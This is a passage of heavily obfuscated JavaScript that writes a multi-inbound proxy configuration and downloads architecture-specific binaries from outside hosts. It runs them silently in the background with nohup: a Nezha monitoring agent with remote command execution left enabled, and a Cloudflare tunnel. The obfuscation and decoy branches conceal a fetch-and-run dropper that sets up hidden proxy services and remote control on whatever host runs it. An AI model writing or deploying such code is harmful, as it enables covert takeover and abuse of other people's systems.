_0xa782cc={};_0xa782cc[_0x11bd5e(0x656,0x4e6,0x477,0x52b)]=_0x33efcb,_0xa782cc['protocol']=_0x2fe4ee[_0x4f4405(0x2e,0xc6,-0x13c,-0x7)],_0xa782cc[_0x11bd5e(0x426,0x451,0x331,0x570)]={},_0xa782cc[_0x11bd5e(0x67f,0x5ad,0x65d,0x637)+_0x11bd5e(0x5b4,0x626,0x67f,0x575)]={},_0xa782cc[_0x11bd5e(0x426,0x451,0x331,0x570)][_0x4f4405(0x1b5,0x1d3,0x6e,0x1bb)]=[{'id':_0x29694f,'flow':_0x2fe4ee[_0x4f4405(0x269,0x2df,0x30e,0x164)]}],_0xa782cc[_0x11bd5e(0x426,0x451,0x331,0x570)][_0x11bd5e(0x55d,0x4c5,0x44b,0x34f)]=_0x2fe4ee[_0x4f4405(0x2d,-0x83,-0x71,-0xdd)],_0xa782cc[_0x11bd5e(0x426,0x451,0x331,0x570)][_0x4f4405(0xe4,0x19,0xe8,-0x1e)]=[_0x24cea3,{'path':_0x2fe4ee[_0x11bd5e(0x67f,0x5f0,0x723,0x726)],'dest':0xbba},{'path':_0x2fe4ee[_0x11bd5e(0x55e,0x4af,0x526,0x3e8)],'dest':0xbbb},_0x175799],_0xa782cc[_0x11bd5e(0x67f,0x5ad,0x65d,0x637)+_0x11bd5e(0x5b4,0x626,0x67f,0x575)][_0x4f4405(0x126,0x209,0x109,0x1e3)]=_0x2fe4ee[_0x4f4405(0xfe,0x58,0x14b,-0x1c)];const _0x23fd8e={};_0x23fd8e['id']=_0xe10337;const _0x17d0f6={};_0x17d0f6['port']=0xbb9,_0x17d0f6[_0x11bd5e(0x6ac,0x62a,0x6ba,0x4d2)]=_0x2fe4ee[_0x4f4405(0x13b,0xb3,0xa3,0x24c)],_0x17d0f6[_0x11bd5e(0x4b2,0x429,0x558,0x3da)]=_0x2fe4ee['TZVfE'],_0x17d0f6[_0x11bd5e(0x351,0x451,0x540,0x55f)]={},_0x17d0f6[_0x11bd5e(0x6fe,0x5ad,0x493,0x5bf)+_0x11bd5e(0x78b,0x626,0x599,0x4fb)]={},_0x17d0f6[_0x11bd5e(0x351,0x451,0x540,0x55f)][_0x4f4405(0x1b5,0x132,0x19a,0x2fd)]=[_0x23fd8e],_0x17d0f6[_0x11bd5e(0x351,0x451,0x540,0x55f)][_0x4f4405(0x88,0x17e,0x157,0x105)]=_0x2fe4ee[_0x11bd5e(0x32e,0x46a,0x46d,0x526)],_0x17d0f6[_0x11bd5e(0x6fe,0x5ad,0x493,0x5bf)+_0x11bd5e(0x78b,0x626,0x599,0x4fb)]['network']=_0x2fe4ee[_0x4f4405(0xfe,0x156,0x194,0x96)],_0x17d0f6[_0x11bd5e(0x6fe,0x5ad,0x493,0x5bf)+_0x11bd5e(0x78b,0x626,0x599,0x4fb)][_0x11bd5e(0x4d9,0x5a4,0x561,0x48f)]=_0x2fe4ee[_0x4f4405(0x2d,-0x2,0xbb,-0x12a)];const _0x306f47={};_0x306f47['id']=_0x1466de,_0x306f47[_0x4f4405(-0x1e,-0xea,-0xfb,0x12c)]=0x0;const _0x4e1529={};_0x4e1529[_0x4f4405(0xa9,0x9b,0x199,0x86)]=0xbba,_0x4e1529[_0x4f4405(0x1ed,0x10d,0x214,0xfe)]=_0x11bd5e(0x6c0,0x66c,0x6ec,0x7c6),_0x4e1529[_0x11bd5e(0x358,0x429,0x2ba,0x589)]=_0x2fe4ee[_0x11bd5e(0x4c9,0x46b,0x4b5,0x463)],_0x4e1529[_0x4f4405(0x14,0x6d,-0x127,-0x84)]={},_0x4e1529[_0x4f4405(0x170,0x37,0x1e3,0x138)+_0x11bd5e(0x778,0x626,0x738,0x750)]={},_0x4e1529[_0x11bd5e(0x4ed,0x560,0x4a1,0x60d)]={},_0x4e1529[_0x4f4405(0x14,0x6d,-0x127,-0x84)][_0x11bd5e(0x74e,0x5f2,0x72e,0x6b3)]=[_0x306f47],_0x4e1529[_0x4f4405(0x14,0x6d,-0x127,-0x84)][_0x4f4405(0x88,-0x1c,0x126,0x14b)]=_0x2fe4ee[_0x4f4405(0x2d,-0x122,0x18c,-0x28)],_0x4e1529[_0x4f4405(0x170,0x37,0x1e3,0x138)+_0x11bd5e(0x778,0x626,0x738,0x750)][_0x11bd5e(0x40f,0x563,0x575,0x57b)]='ws',_0x4e1529[_0x4f4405(0x170,0x37,0x1e3,0x138)+_0x11bd5e(0x778,0x626,0x738,0x750)][_0x11bd5e(0x552,0x5a4,0x6d5,0x46d)]=_0x4f4405(0x242,0x382,0x291,0x20e),_0x4e1529[_0x4f4405(0x170,0x37,0x1e3,0x138)+_0x11bd5e(0x778,0x626,0x738,0x750)][_0x11bd5e(0x4a0,0x57c,0x6ae,0x477)]={},_0x4e1529[_0x4f4405(0x170,0x37,0x1e3,0x138)+_0x11bd5e(0x778,0x626,0x738,0x750)][_0x11bd5e(0x4a0,0x57c,0x6ae,0x477)]['path']=_0x2fe4ee['FJFYP'],_0x4e1529[_0x11bd5e(0x4ed,0x560,0x4a1,0x60d)]['enabled']=!![],_0x4e1529[_0x11bd5e(0x4ed,0x560,0x4a1,0x60d)]['destOverri'+'de']=[_0x11bd5e(0x775,0x63f,0x57d,0x59d),_0x2fe4ee[_0x11bd5e(0x5f1,0x4e0,0x483,0x3eb)],_0x2fe4ee[_0x4f4405(-0x7f,0x28,0xb0,0xa9)]],_0x4e1529[_0x11bd5e(0x4ed,0x560,0x4a1,0x60d)][_0x4f4405(0x14b,0x95,0x1bc,-0xb)+'ly']=![];const _0x5a52af={};_0x5a52af['id']=_0x407219,_0x5a52af[_0x4f4405(0x17f,0x280,0x2de,0x1cb)]=0x0;const _0x981ce6={};_0x981ce6[_0x11bd5e(0x68c,0x5f2,0x726,0x5fc)]=[_0x5a52af];const _0x3ba0f9={};_0x3ba0f9[_0x11bd5e(0x4f0,0x4e6,0x659,0x4e5)]=0xbbb,_0x3ba0f9[_0x11bd5e(0x4da,0x62a,0x601,0x58c)]=_0x2fe4ee[_0x11bd5e(0x532,0x578,0x421,0x68a)],_0x3ba0f9['protocol']=_0x2fe4ee[_0x4f4405(0x137,0x133,0x103,0xbb)],_0x3ba0f9[_0x11bd5e(0x344,0x451,0x401,0x579)]=_0x981ce6,_0x3ba0f9[_0x11bd5e(0x5a8,0x5ad,0x564,0x481)+_0x4f4405(0x1e9,0x1b5,0x2fb,0x164)]={},_0x3ba0f9[_0x4f4405(0x123,0x17e,0x242,0xe)]={},_0x3ba0f9[_0x11bd5e(0x5a8,0x5ad,0x564,0x481)+_0x4f4405(0x1e9,0x1b5,0x2fb,0x164)][_0x4f4405(0x126,0x18e,0x1,0x20d)]='ws',_0x3ba0f9[_0x11bd5e(0x5a8,0x5ad,0x564,0x481)+_0x4f4405(0x1e9,0x1b5,0x2fb,0x164)][_0x11bd5e(0x5af,0x57c,0x657,0x6d5)]={},_0x3ba0f9[_0x11bd5e(0x5a8,0x5ad,0x564,0x481)+_0x4f4405(0x1e9,0x1b5,0x2fb,0x164)][_0x11bd5e(0x5af,0x57c,0x657,0x6d5)]['path']=_0x2fe4ee[_0x4f4405(0x72,-0x50,0xe2,0x1c8)],_0x3ba0f9[_0x4f4405(0x123,0x17e,0x242,0xe)][_0x4f4405(0x149,0x1da,0x2ac,0xd5)]=!![],_0x3ba0f9[_0x4f4405(0x123,0x17e,0x242,0xe)][_0x4f4405(0x106,0x4a,0x244,0x204)+'de']=[_0x2fe4ee['LSgLY'],_0x2fe4ee[_0x4f4405(0xa3,-0x85,0x39,0x135)],_0x11bd5e(0x5c6,0x68b,0x63a,0x6ee)],_0x3ba0f9[_0x4f4405(0x123,0x17e,0x242,0xe)][_0x11bd5e(0x532,0x588,0x5a2,0x6d4)+'ly']=![];const _0x8d83c4={};_0x8d83c4[_0x4f4405(0x1f5,0x332,0x302,0x27e)]=_0x230034;const _0x3ae982={};_0x3ae982[_0x4f4405(0x1b5,0x9c,0x21f,0x1f0)]=[_0x8d83c4];const _0x43c466={};_0x43c466['path']=_0x11bd5e(0x614,0x5ca,0x5df,0x5da)+'go';const _0x2932e6={};_0x2932e6['port']=0xbbc,_0x2932e6['listen']=_0x2fe4ee[_0x11bd5e(0x578,0x578,0x579,0x490)],_0x2932e6[_0x11bd5e(0x309,0x429,0x4e7,0x329)]=_0x2fe4ee[_0x4f4405(0x265,0x37f,0x265,0x36f)],_0x2932e6['settings']=_0x3ae982,_0x2932e6[_0x11bd5e(0x70b,0x5ad,0x6b9,0x695)+_0x4f4405(0x1e9,0x28a,0x125,0x8a)]={},_0x2932e6[_0x11bd5e(0x43a,0x560,0x3eb,0x40f)]={},_0x2932e6[_0x11bd5e(0x70b,0x5ad,0x6b9,0x695)+_0x4f4405(0x1e9,0x28a,0x125,0x8a)][_0x4f4405(0x126,0x13,0x3,0x2a)]='ws',_0x2932e6[_0x11bd5e(0x70b,0x5ad,0x6b9,0x695)+_0x4f4405(0x1e9,0x28a,0x125,0x8a)]['security']=_0x2fe4ee[_0x11bd5e(0x590,0x46a,0x364,0x5cf)],_0x2932e6[_0x11bd5e(0x70b,0x5ad,0x6b9,0x695)+_0x4f4405(0x1e9,0x28a,0x125,0x8a)][_0x4f4405(0x13f,0x73,0x1be,0x22e)]=_0x43c466,_0x2932e6[_0x11bd5e(0x43a,0x560,0x3eb,0x40f)][_0x4f4405(0x149,0xe6,0x114,-0x2f)]=!![],_0x2932e6[_0x11bd5e(0x43a,0x560,0x3eb,0x40f)][_0x11bd5e(0x534,0x543,0x52a,0x456)+'de']=[_0x2fe4ee['LSgLY'],_0x2fe4ee[_0x4f4405(0xa3,-0xc7,-0x45,-0x6c)],_0x2fe4ee[_0x4f4405(-0x7f,-0x1b5,-0xc5,0x34)]],_0x2932e6[_0x11bd5e(0x43a,0x560,0x3eb,0x40f)][_0x4f4405(0x14b,0x120,0x8e,0xd1)+'ly']=![];const _0x407bde={};_0x407bde['servers']=[_0x2fe4ee[_0x4f4405(0xc3,-0x36,-0x14,0x109)]];const _0x195ae9={};_0x195ae9['protocol']=_0x2fe4ee[_0x11bd5e(0x4a0,0x462,0x319,0x3d4)],_0x195ae9[_0x11bd5e(0x42b,0x481,0x494,0x32b)]=_0x2fe4ee['NqAzy'];const _0x337f40={};_0x337f40[_0x11bd5e(0x3eb,0x429,0x2cd,0x345)]=_0x4f4405(-0x65,0xb8,-0x14a,0xf0),_0x337f40[_0x11bd5e(0x467,0x481,0x585,0x42f)]=_0x2fe4ee['aguUy'];const _0x57556c={};_0x57556c['log']=_0x16d204,_0x57556c[_0x11bd5e(0x590,0x624,0x631,0x682)]=[_0xa782cc,_0x17d0f6,_0x4e1529,_0x3ba0f9,_0x2932e6],_0x57556c[_0x11bd5e(0x692,0x5e8,0x48f,0x711)]=_0x407bde,_0x57556c['outbounds']=[_0x195ae9,_0x337f40];const _0x335937=_0x57556c;_0x2d72e0[_0x11bd5e(0x3f7,0x47e,0x326,0x4c0)+_0x11bd5e(0x497,0x45a,0x41a,0x4e9)](_0x17d5ed[_0x4f4405(0x3f,-0xd0,-0xca,0xa4)](_0x59f77c,'config.jso'+'n'),_0x2396af['stringify'](_0x335937,null,-0x2*-0xdc7+0x44+0x6f4*-0x4));}});});}const _0x12219c=NEZHA_PORT?[npmPath,webPath,botPath]:[phpPath,webPath,botPath];_0x6b507b[_0x991773(-0x41,-0xc3,-0x129,-0x3f)](_0x3d200f,_0x12219c);if(_0x6b507b[_0x20a993(0x2b0,0x2ce,0x2a3,0x292)](NEZHA_SERVER,NEZHA_KEY)){if(_0x6b507b[_0x20a993(0x35f,0x335,0x23a,0x2aa)](_0x6b507b[_0x20a993(0x230,0x21d,0x352,0x1fd)],_0x6b507b[_0x20a993(0x65,0xfd,0x2d,0x206)]))_0xd47221['error'](_0x991773(-0x2f9,-0x6c,-0xd1,-0x1d5)+_0x20a993(0x154,0x16f,0x218,0x249)+_0x2e94b8);else{if(!NEZHA_PORT){if(_0x6b507b[_0x991773(-0x7f,-0x269,-0x1ea,-0x144)](_0x6b507b[_0x20a993(0x494,0x351,0x3ff,0x244)],_0x6b507b[_0x20a993(0x25d,0x351,0x3ae,0x278)])){const _0x33ffd5=NEZHA_SERVER[_0x20a993(0x237,0x1e1,0x237,0x29f)](':')?NEZHA_SERVER[_0x20a993(0x15,0xa5,0x35,-0xb9)](':')[_0x991773(0xac,-0x6e,0x1b4,0x60)]():'',_0x342b78=new Set([_0x6b507b[_0x20a993(0x76,0x18b,0x12e,0x1d5)],_0x6b507b[_0x991773(-0x102,-0x185,-0x17c,-0x1dd)],_0x6b507b['IPdOt'],_0x20a993(0x310,0x32d,0x1de,0x480),_0x6b507b[_0x20a993(0x131,0x1d7,0x288,0x333)],'2053']),_0x27ce9f=_0x342b78[_0x991773(-0x1b9,-0xfa,-0xbc,-0x1cb)](_0x33ffd5)?_0x6b507b[_0x991773(-0x1e5,-0x1f2,-0x274,-0x12c)]:_0x6b507b[_0x20a993(0x101,0x182,0x2c0,0x2dd)],_0x582d7d=_0x991773(0xd6,0xe2,0xbb,0x3d)+_0x991773(-0x99,-0x2f3,-0x298,-0x1d6)+NEZHA_KEY+(_0x20a993(0xdc,0x9a,0x1ae,0x133)+'lse\x0adisabl'+'e_auto_upd'+_0x20a993(0x1de,0x117,0x1fc,0x65)+'disable_co'+_0x20a993(0x1ae,0x118,-0x39,0x2a)+'ute:\x20false'+_0x991773(0x12e,-0x144,0x2d,0x28)+_0x20a993(0x1a9,0x283,0x176,0x3e3)+_0x20a993(0x30c,0x280,0x3aa,0x381)+_0x991773(0xfc,0x68,-0x43,-0x37)+'\x20false\x0adis'+'able_send_'+_0x991773(0x75,-0xf2,0xad,0x29)+_0x991773(0x12e,0xec,0xbe,0x57)+_0x991773(-0x213,-0xd9,-0x9e,-0x190)+_0x20a993(0x18b,0xa9,0x1d7,0xf4)+'ue\x0aip_repo'+_0x20a993(0x225,0x17e,0x25c,0x5b)+_0x20a993(0x26a,0x278,0x2c7,0x355)+_0x20a993(0x352,0x24c,0x2a6,0x376)+_0x20a993(0x1bb,0x87,-0x51,0x1c8))+NEZHA_SERVER+(_0x20a993(0x46e,0x315,0x32b,0x384)+_0x991773(0x1ae,-0x2b,0x1a1,0x63)+_0x20a993(0xab,0x206,0x1b2,0xc1)+_0x991773(-0x20e,-0x8c,-0x16c,-0x1f8)+_0x991773(0x82,0xc7,0x1f0,0x93)+_0x20a993(0xe5,0x1bc,0x5e,0x14c)+'ure:\x20false'+_0x20a993(-0x18,0x105,0x8d,0x10b))+_0x27ce9f+(_0x20a993(0x319,0x1f7,0x2e2,0x34e)+_0x20a993(0x298,0x2fe,0x31c,0x305)+_0x20a993(0x22b,0x2ae,0x342,0x233)+_0x991773(-0x1a7,-0x239,-0x2b3,-0x17e)+'untry_code'+_0x991773(-0x113,-0x113,-0x157,-0x64)+_0x991773(-0x3e,-0x151,0x76,-0x55))+UUID;fs[_0x991773(-0x24a,-0x29a,-0x45,-0x14e)+_0x20a993(-0x2b,0x10b,0x24b,-0x5f)](path[_0x991773(-0x4b,-0x10a,-0x239,-0x150)](FILE_PATH,_0x6b507b[_0x20a993(0x207,0x352,0x1f2,0x361)]),_0x582d7d);const _0x55f01c=_0x991773(-0x109,-0x189,0x119,-0x11)+phpPath+_0x20a993(0x461,0x33d,0x404,0x2d8)+FILE_PATH+(_0x991773(-0xe1,0xf3,-0xa4,0x2)+'ml\x22\x20>/dev/'+_0x20a993(0x263,0x343,0x2c2,0x2e1)+'&');try{await _0x6b507b[_0x20a993(0x20d,0x23e,0x176,0x313)](exec,_0x55f01c),console[_0x20a993(0x3ff,0x2c9,0x2c8,0x376)](phpName+(_0x991773(-0xd9,-0x15,-0x9f,0x52)+'g')),await new Promise(_0x1e57f3=>setTimeout(_0x1e57f3,0x1f87*-0x1+0x92*0x13+0x1899));}catch(_0xdba8e2){console['error']('php\x20runnin'+_0x20a993(0x173,0x16f,0xa4,0x145)+_0xdba8e2);}}else _0x12056f[_0x20a993(0x18e,0x2a0,0x23b,0x359)]('web\x20runnin'+_0x991773(-0x103,-0x25,-0x6,-0x10e)+_0x1c4eca);}else{let _0x5d31d3='';const _0x15d9ef=[_0x6b507b[_0x20a993(0x83,0x18b,0x7f,0x1e4)],_0x6b507b['OOjDw'],_0x6b507b[_0x991773(-0x14,-0x23b,-0x76,-0xee)],_0x20a993(0x3cf,0x32d,0x2a7,0x38a),_0x6b507b['OyQWb'],_0x6b507b[_0x20a993(0x1ee,0x208,0xcc,0x149)]];if(_0x15d9ef['includes'](NEZHA_PORT)){if(_0x6b507b[_0x20a993(0x304,0x21e,0x207,0x212)]('TFbNe',_0x991773(0x22e,-0xb,0x96,0xc4)))_0x5d31d3=_0x6b507b[_0x20a993(0x368,0x2a9,0x1fa,0x3aa)];else{const _0x2780a4=_0x1583c4[_0x991773(-0x94,0x14,-0x78,0x8e)](_0xbe7214,arguments);return _0x3159ef=null,_0x2780a4;}}const _0x184d5b='nohup\x20'+npmPath+_0x991773(-0x99,-0x6c,-0x1e2,-0x79)+NEZHA_SERVER+':'+NEZHA_PORT+_0x20a993(0x23f,0x303,0x3ad,0x43e)+NEZHA_KEY+'\x20'+_0x5d31d3+(_0x20a993(0x46f,0x300,0x355,0x445)+'-auto-upda'+_0x991773(0x10e,-0x127,-0x46,-0x62)+_0x991773(-0x114,-0xcd,-0x239,-0x164)+_0x991773(0x186,0x108,0xeb,0x5c)+_0x20a993(0x1e7,0x344,0x282,0x255)+_0x20a993(0x121,0x6c,-0x84,-0x5e)+_0x991773(-0x147,-0x1a8,-0x265,-0x205)+'\x20&');try{await exec(_0x184d5b),console['log'](npmName+(_0x991773(-0xe1,-0x66,-0x10c,0x52)+'g')),await new Promise(_0x52624f=>setTimeout(_0x52624f,0xd52*0x1+0x58*0x54+0x152*-0x1d));}catch(_0x2c965a){if(_0x6b507b[_0x991773(0x122,-0x12d,0xa4,-0x19)]('Ssxfb',_0x6b507b[_0x991773(-0x131,-0x4b,-0x145,-0x2a)]))return _0x3a1837['toString']()['search'](_0x991773(-0x285,-0x203,-0x1b2,-0x15f)+'+$')[_0x20a993(0x349,0x345,0x42b,0x40d)]()['constructo'+'r'](_0x4eebb1)[_0x991773(0x12b,-0x64,-0x46,0xbd)](bCZYMU['mRpoS']);else console['error']('npm\x20runnin'+'g\x20error:\x20'+_0x2c965a);}}}}else console['log'](_0x6b507b[_0x20a993(0x1b8,0x80,0x1dc,-0xd1)]);const _0x4e31a7=_0x20a993(0x245,0x26c,0x2d0,0x23e)+webPath+'\x20-c\x20'+FILE_PATH+(_0x991773(-0x19e,-0x10c,-0x247,-0xf4)+_0x20a993(0x36d,0x212,0xa6,0x328)+_0x991773(-0xdf,0x95,0x2c,-0x4b));function _0x20a993(_0x35d13e,_0x57087d,_0x29c2fe,_0x1df00d){return _0x364cea(_0x35d13e-0x3f,_0x1df00d,_0x57087d-0x347,_0x1df00d-0x15f);}try{await _0x6b507b[_0x20a993(0x1af,0x2ca,0x166,0x1f8)](exec,_0x4e31a7),console['log'](webName+(_0x20a993(0x28d,0x2cf,0x421,0x186)+'g')),await new Promise(_0x35d021=>setTimeout(_0x35d021,0x7c3+-0x2433+-0x4*-0x816));}catch(_0x31ebc0){if(_0x6b507b['VwKDM']===_0x20a993(0x9b,0x18e,0xa6,0x248)){const _0x106e05=_0x2121b8?function(){function _0x4fbb5a(_0x197eff,_0x7b9389,_0x5c990b,_0x37c834){return _0x991773(_0x197eff-0x17b,_0x7b9389-0x1dd,_0x37c834,_0x197eff-0x5fe);}if(_0x378e67){const _0x2c2479=_0x63c43a[_0x4fbb5a(0x68c,0x7b4,0x6ee,0x670)](_0x5708f4,arguments);return _0x1c2f52=null,_0x2c2479;}}:function(){};return _0x5ee37d=![],_0x106e05;}else console[_0x991773(-0x2a,-0x8,0x15f,0x23)](_0x20a993(0x461,0x30c,0x22b,0x395)+'g\x20error:\x20'+_0x31ebc0);}if(fs[_0x20a993(0x39e,0x269,0x269,0x3da)](botPath)){if(_0x6b507b['Jftwy']==='DzRwi'){let _0x50772a;if(ARGO_AUTH[_0x991773(-0x1e3,-0xa7,-0x157,-0x179)](/^[A-Z0-9a-z=]{120,250}$/))_0x50772a=_0x20a993(0x114,0x148,0x26f,0xe2)+'dge-ip-ver'+_0x991773(-0xdb,0xae,0x1a9,0x69)+'--no-autou'+_0x20a993(0x1d7,0x324,0x1b6,0x449)+'otocol\x20htt'+_0x20a993(0x336,0x2b0,0x18e,0x26b)+_0x20a993(0x168,0x27d,0x328,0x32c)+ARGO_AUTH;else{if(ARGO_AUTH[_0x991773(-0x32,-0x23f,-0x139,-0x179)](/TunnelSecret/)){if(_0x6b507b[_0x20a993(0x29e,0x150,0x107,0x7c)](_0x6b507b[_0x991773(-0x76,-0xaa,-0x1eb,-0x187)],_0x6b507b[_0x991773(-0x26d,-0x19f,-0x2a6,-0x187)]))return(_0x365cc3[_0x20a993(0x193,0x181,0x2da,0x64)][_0x20a993(0x464,0x356,0x337,0x2d8)+'e']+'-'+_0x10f6cb[_0x991773(-0x15d,-0x11a,-0x5e,-0xfc)][_0x991773(-0x170,-0xc3,0xd1,-0x87)])[_0x20a993(0xe6,0x23b,0x384,0x279)](/\s+/g,'_');else _0x50772a=_0x991773(-0x5a,-0x24d,-0x1e6,-0x135)+_0x991773(-0x28,0x42,0xed,0x3b)+_0x991773(-0xe8,-0xac,-0x34,0x69)+'--config\x20'+FILE_PATH+('/tunnel.ym'+'l\x20run');}else{if(_0x6b507b[_0x20a993(0xb4,0x213,0xa1,0x138)]!==_0x6b507b[_0x20a993(0x30d,0x213,0x2a4,0x33c)]){if(_0x572135){const _0x430c90=_0x6b507b[_0x20a993(0x408,0x2eb,0x2a0,0x3a8)](_0x4ab7a9,_0x6b507b[_0x991773(0x104,-0x21,0xa0,0x19)])?_0x991773(-0xbe,-0x106,-0x12b,-0x104)+_0x991773(-0x1c8,-0x18d,-0x39,-0x14c)+_0x20a993(0x1a5,0x27a,0x15a,0x3e3)+'t':_0x6b507b['VOssC'],_0x1046c5={};_0x1046c5[_0x991773(-0x3,0x164,0x111,0x9d)]=_0x5950a5,_0x1046c5[_0x20a993(0x334,0x1e9,0x333,0x344)]=_0x430c90,_0x3505ea['unshift'](_0x1046c5);}else{const _0x19fc62=_0x6b507b[_0x20a993(-0xa,0x139,0x246,0x5)](_0x26ce6c,_0x991773(-0xfa,-0x53,0x92,-0xa4))?_0x6b507b[_0x20a993(0xd1,0x242,0x12b,0x27f)]:_0x20a993(0x1a6,0xad,0x1cb,0x10e)+'d64.ssss.n'+_0x20a993(0x310,0x2b3,0x350,0x375),_0x49448c={};_0x49448c[_0x20a993(0x3a5,0x31a,0x3f9,0x472)]=_0x587e76,_0x49448c[_0x20a993(0x2ff,0x1e9,0x2b2,0x29f)]=_0x19fc62,_0x3e4451[_0x20a993(0x363,0x2fc,0x196,0x38c)](_0x49448c);}}else _0x50772a=_0x991773(-0x272,0x2c,-0x16b,-0x135)+_0x991773(0x196,0x54,0x149,0x3b)+_0x991773(-0xb3,0xc7,0x128,0x69)+_0x991773(0x2a,-0x1a4,-0x4f,-0xb2)+_0x991773(0x35,-0xaf,0xd,0xa7)+_0x991773(-0xe7,0x93,0x48,-0x53)+'p2\x20--logfi'+_0x991773(0xfa,0x54,0x8f,-0x3e)+FILE_PATH+(_0x991773(0x183,-0x4d,0x164,0x3a)+_0x20a993(0x1cb,0xe7,0x16d,0x1ee)+_0x20a993(0x369,0x252,0x183,0x111)+'l\x20http://l'+_0x20a993(0x203,0x28d,0x388,0x288))+ARGO_PORT;}}try{await _0x6b507b[_0x20a993(0x219,0x223,0x38f,0x349)](exec,_0x20a993(0x163,0x26c,0x358,0x28e)+botPath+'\x20'+_0x50772a+(_0x20a993(0x1d1,0x248,0x268,0x24d)+_0x991773(0x6d,0xcc,0x129,0x6c))),console[_0x991773(0x61,0x4a,-0x96,0x4c)](botName+('\x20is\x20runnin'+'g')),await new Promise(_0x2a0288=>setTimeout(_0x2a0288,0xc0f+0xc7*-0x5+0x17*-0x4));}catch(_0x9cb9e9){console['error']('Error\x20exec'+_0x991773(0x13,-0x5a,-0x83,-0x117)+'and:\x20'+_0x9cb9e9);}}else try{const _0x3d7003=_0x383ec0[_0x991773(0x2d,0x165,0x107,0x16)+'nc'](_0x5f0bc6,_0x6b507b[_0x20a993(0x2cc,0x2f6,0x1dd,0x339)]),_0x50c51f={};_0x50c51f[_0x991773(-0x61,-0x2b,0x3e,-0x11b)+'pe']=_0x6b507b[_0x991773(-0x16,0x29,-0x17c,-0x126)],_0x192159[_0x20a993(0x3a3,0x247,0x38f,0x28f)](-0x26c9+0x1409+-0x19*-0xc8,_0x50c51f),_0x6665bc['end'](_0x3d7003);}catch(_0x181dbc){const _0x4988e2={};_0x4988e2['Content-Ty'+'pe']='text/plain'+_0x991773(-0xa2,-0xd4,-0xd5,0x43)+'utf-8',_0x4973d1['writeHead'](-0x2671*-0x1+0xe35+-0x32af,_0x4988e2),_0x371555[_0x991773(0x164,-0x6b,0x56,0x7a)](_0x6b507b[_0x20a993(0x24d,0x265,0x321,0x169)]);}}await new Promise(_0x1ef5d9=>setTimeout(_0x1ef5d9,-0x1*-0x1cf9+0x25dc+0x2f4d*-0x1));}function getFilesForArchitecture(_0x37de21){const _0x53a19f={};_0x53a19f[_0x10a3dc(0x74f,0x5d8,0x5fe,0x5e4)]=_0xbf0e50(0xea,0x2ba,0x235,0x30e)+_0xbf0e50(0x204,0x3c6,0x2a7,0x339)+'tartserver'+':',_0x53a19f[_0x10a3dc(0x451,0x4ae,0x5e9,0x4d7)]=function(_0x40238d,_0x5abadd){return _0x40238d===_0x5abadd;},_0x53a19f['VSByi']=_0x10a3dc(0x3ee,0x58d,0x5f8,0x4c0),_0x53a19f[_0xbf0e50(0x3c3,0x2c9,0x2c5,0x3e2)]=_0x10a3dc(0x4b9,0x53e,0x57e,0x460)+_0x10a3dc(0x497,0x52a,0x345,0x418)+_0xbf0e50(0x20e,0x2cf,0x2b9,0x402),_0x53a19f[_0xbf0e50(0x31a,0x329,0x3ea,0x407)]='https://am'+'d64.ssss.n'+_0xbf0e50(0x23d,0x344,0x2b9,0x342),_0x53a19f[_0xbf0e50(0x45c,0x36b,0x317,0x38d)]=function(_0x2da0ed,_0x1d1565){return _0x2da0ed&&_0x1d1565;};function _0xbf0e50(_0x1b4b37,_0x20bec1,_0x3b305c,_0x54c6a9){return _0x362290(_0x1b4b37-0x191,_0x20bec1-0xb3,_0x1b4b37,_0x3b305c-0x8);}_0x53a19f['WvsBi']=_0x10a3dc(0x552,0x5d4,0x451,0x507),_0x53a19f['kLhxV']=_0xbf0e50(0x204,0x1f0,0x26c,0x345)+_0xbf0e50(0x589,0x64b,0x4f6,0x63e)+_0x10a3dc(0x65c,0x46e,0x542,0x59a);function _0x10a3dc(_0xdaa3ce,_0x2c1430,_0x4854e6,_0x5810c7){return _0x364cea(_0xdaa3ce-0x1c6,_0x4854e6,_0x5810c7-0x62e,_0x5810c7-0xac);}const _0x1c9ca5=_0x53a19f;let _0x153588;if(_0x1c9ca5[_0xbf0e50(0x421,0x3a5,0x3af,0x3dc)](_0x37de21,_0x1c9ca5[_0xbf0e50(0x210,0x239,0x29a,0x393)])){const _0x3b8df6={};_0x3b8df6['fileName']=webPath,_0x3b8df6[_0xbf0e50(0x3f4,0x334,0x3a8,0x3ea)]='https://ar'+_0x10a3dc(0x393,0x505,0x3e2,0x418)+_0x10a3dc(0x4f4,0x422,0x4df,0x45f);const _0x3c68ff={};_0x3c68ff[_0x10a3dc(0x4ed,0x6c9,0x4bb,0x601)]=botPath,_0x3c68ff[_0xbf0e50(0x3dc,0x473,0x3a8,0x294)]=_0x1c9ca5['UbYkn'],_0x153588=[_0x3b8df6,_0x3c68ff];}else{const _0x527536={};_0x527536[_0xbf0e50(0x500,0x4e3,0x4d9,0x434)]=webPath,_0x527536[_0x10a3dc(0x5fd,0x40a,0x55c,0x4d0)]=_0x10a3dc(0x375,0x245,0x46e,0x394)+_0xbf0e50(0x44b,0x37e,0x4f6,0x3c0)+_0xbf0e50(0x2c8,0x4a6,0x337,0x2a4);const _0x59019e={};_0x59019e[_0x10a3dc(0x75c,0x515,0x72b,0x601)]=botPath,_0x59019e['fileUrl']=_0x1c9ca5['SmPNI'],_0x153588=[_0x527536,_0x59019e];}if(_0x1c9ca5[_0xbf0e50(0x482,0x1be,0x317,0x3d1)](NEZHA_SERVER,NEZHA_KEY)){if(NEZHA_PORT){if(_0x1c9ca5['WvsBi']===_0x1c9ca5['WvsBi']){const _0x1ff59e=_0x1c9ca5[_0x10a3dc(0x4e2,0x59f,0x5c7,0x4d7)](_0x37de21,_0x1c9ca5[_0x10a3dc(0x474,0x384,0x3d9,0x3c2)])?_0x10a3dc(0x56d,0x470,0x439,0x460)+'m64.ssss.n'+_0xbf0e50(0x33a,0x51b,0x439,0x357)+'t':_0xbf0e50(0x124,0x29e,0x26c,0x2b7)+_0x10a3dc(0x5a3,0x6f4,0x6ea,0x61e)+_0x10a3dc(0x495,0x4ff,0x572,0x561)+'t',_0xc62f46={};_0xc62f46[_0x10a3dc(0x5f9,0x633,0x6cf,0x601)]=npmPath,_0xc62f46[_0x10a3dc(0x446,0x627,0x431,0x4d0)]=_0x1ff59e,_0x153588[_0xbf0e50(0x510,0x43e,0x4bb,0x3a6)](_0xc62f46);}else _0x2cdd46[_0xbf0e50(0x3f8,0x5ab,0x45f,0x3cb)](_0x1c9ca5[_0xbf0e50(0x56a,0x5e0,0x4bc,0x5d8)],_0x47fa0c);}else{const 